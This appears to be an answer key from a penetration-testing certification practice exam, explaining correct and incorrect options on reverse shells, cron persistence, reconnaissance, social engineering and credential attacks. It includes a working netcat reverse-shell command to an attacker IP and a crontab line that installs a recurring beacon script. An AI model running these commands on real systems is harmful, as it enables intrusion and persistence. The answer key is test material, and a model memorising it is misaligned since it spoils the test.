nc -e /bin/bash 192.168.1.10 4444 is correct because it causes the compromised host to initiate an outbound connection to the attacker’s IP and port, attaching a bash shell to the connection and effectively creating a reverse shell that bypasses inbound filtering controls. nc -zv 192.168.1.10 4444 is incorrect because it performs port scanning and does not establish a shell. nc -lv 192.168.1.10 4444 -e cmd.exe is incorrect because it attempts to create a listener rather than initiate a reverse connection and is improperly structured for the described scenario. nc -lvp 4444 -e /bin/bash is incorrect because it sets up a listener on the compromised machine instead of creating an outbound reverse shell to the attacker. OBJ. 4.2

A scheduled task or scheduled job is an instance of execution, like initiating a process or running a script, that the system performs on a set schedule. Once the task executes, it can prompt the user for interaction or run silently in the background; it all depends on what the task is set up to do. Scheduled tasks in Linux use the crontab command. The correct answer for this persistence is to enter the command "(crontab -l ; echo "*/20 * * * * /tmp/beacon.sh")| crontab -" that will run the script at "/tmp/beacon.sh" every 20 minutes as the current user (or root, depending on context). The other variant of crontab is incorrect because it would run every 20 hours, not 20 minutes. The schtasks options are used in Windows, not in Linux. OBJ. 5.1

False positive is correct because the scanner reported vulnerabilities that do not actually exist, which is the definition of a false positive. This often occurs when automated tools misinterpret input handling or flag patterns that resemble vulnerabilities without confirming exploitability. True negative is incorrect because it would indicate the system is secure and correctly reported as having no vulnerabilities. False negative is incorrect because that would mean a real vulnerability exists but was not detected by the scanner. True positive is incorrect because it would indicate that the scanner accurately identified a real vulnerability, which did not occur in this scenario. OBJ. 3.2

sc query is correct because it interacts directly with the Windows Service Control Manager to enumerate services and their states, providing valuable information for identifying potential privilege escalation or lateral movement opportunities. tasklist is incorrect because it lists running processes but does not specifically enumerate services managed by the Service Control Manager. netstat -an is incorrect because it displays active network connections and listening ports rather than service information. ps aux is incorrect because it is a Unix/Linux command used to list processes and is not applicable in a Windows environment. OBJ. 5.2

OBJ 2.4 - The Wayback Machine allows you to search for and view historical versions of websites. By reviewing these archived pages, you might discover sensitive information or vulnerabilities that were exposed in previous versions of the site but are no longer visible. Wayback Machine does not allow you to download the entire history of a website for offline analysis; it provides snapshots of individual pages or does not directly scan for subdomains. Wayback Machine also does not provide information on current IP addresses, it focuses on historical content, not current DNS records. OBJ. 2.4

USB drop attack is correct because it involves intentionally leaving malicious removable storage devices in areas where employees are likely to find and insert them into a system out of curiosity or convenience, which can trigger execution of a malicious payload and provide an attacker with access to the network. Watering hole attack is incorrect because it involves compromising a legitimate website commonly visited by the target organization in order to infect users through web browsing rather than through physical media. Spear phishing is incorrect because it relies on targeted electronic communications, usually email messages crafted for specific individuals, to trick users into opening malicious attachments or links rather than inserting a physical storage device. Brute force attack is incorrect because it involves systematically attempting many password combinations to gain unauthorized access to an account and does not rely on physical devices or user curiosity. OBJ. 3.3

OBJ 3.3 - Jake should suggest upgrading the mechanical locks to more advanced options, such as electronic or biometric locks. These are harder to bypass and would increase the overall security of the facility by preventing easy unauthorized access. OBJ. 3.3

OBJ 1.1: This is the definition of a non-disclosure agreement (NDA). There may be two NDAs in use: One from the organization to the pentester and another from the pentester to the organization. The Statement of Work (SOW) is a formal document stating what will and will not be performed during a penetration test. It should also contain the assessment's size and scope and a list of the assessment's objectives. A master service agreement (MSA) is a contract reached between parties, in which the parties agree to most of the terms that will govern future transactions or future agreements. The MSA is used when a pentester will be on retainer for a multi-year contract, and an individual SOW will be issued for each assessment to define the individual scopes for each one. A service level agreement (SLA) is a contract that outlines the detailed terms under which a service is provided, including reasons the contract may be terminated. OBJ. 1.1

OBJ 4.3 - Neil is using previously stolen username-password pairs from a past breach to attempt access to multiple accounts. This approach is known as credential stuffing. Automation is commonly employed to speed up this process, however the defining characteristic of credential stuffing is the use of valid, compromised credentials; not the degree of automation. This differs from a dictionary attack, which guesses passwords based on commonly used words or patterns without relying on stolen credentials. Password spraying tests a small set of common passwords across many accounts to avoid detection, while brute force attacks try all possible password combinations. Mask attacks generate password guesses based on known patterns. OBJ. 4.3

Using RFID-blocking badge holders is correct because RFID-blocking holders act as a physical shield that prevents unauthorized readers from communicating with the RFID badge when it is not intentionally presented to a reader, effectively stopping attackers from wirelessly scanning and cloning badge credentials during a penetration test. Switching to a magnetic stripe system is incorrect because magnetic stripe cards introduce different weaknesses such as skimming and physical cloning and do not inherently improve protection against credential theft. Increasing the RFID signal strength is incorrect because stronger signals would actually make it easier for an attacker to capture badge transmissions from a greater distance. Encrypting the RFID frequency is incorrect because RFID communication does not rely on encrypting the radio frequency itself and changing or encrypting the frequency would not prevent an attacker from intercepting badge communications with a compatible reader. OBJ. 3.3